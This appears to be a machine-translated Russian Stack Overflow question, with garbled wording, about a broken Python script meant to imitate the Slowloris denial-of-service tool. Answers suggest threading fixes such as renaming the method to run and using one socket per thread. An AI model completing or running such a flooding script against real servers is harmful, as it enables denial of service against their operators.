2013-05-09 2 views
0

Я пытаюсь создать собственный скрипт pyloris, но я не получаю никаких соединений; вот что у меня есть:многопоточность для сокета python

#!/usr/bin/python 
import sys,socket 
import threading 
from time import sleep 


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
HOST = sys.argv[1] 
PORT = 80 
t = int(sys.argv[3]) 
threads = [] 

class Slowloris(threading.Thread): 
def Slowloris(self): 
    s.connect((HOST, int(PORT))) 
    s.send('GET/HTTP/1.0\nHost: ' + HOST + '\n') 
    sleep(1) 
    s.close() 
for num in range(0, t): 
try: 
    print "Started thread",num 
    thread = Slowloris() 
    thread.start() 
    threads.append(thread) 
except: 
    exit(0) 

for thread in threads: 
thread.join() 

и я не получаю абсолютно никаких соединений из моих розеток, заранее спасибо -_- я получаю выход, вот это:

D4zk1tty @ поташ: ~ $. /slowloris.py 127.0.0.1 80 10

Started нить 0

Начало резьбы 1

Начало резьбы 2

Started нить 3

работы Thread 4

работы Thread 5

Начало резьбы 6

Начало резьбы 7

Начало резьбы 8

Начало резьбы 9

+0

с одной стороны, ваш конструктор должен быть объявлен: определение функции __init __ (Я): ' –

+0

Другая проблема заключается в том, что вам нужен один объект сокета для каждого потока. Как написано, скрипт будет называть 'connect()' 10 раз на одном и том же объекте сокета. –

ответ

0
def Slowloris(self): 

должен быть

def run(self): 
Смежные вопросы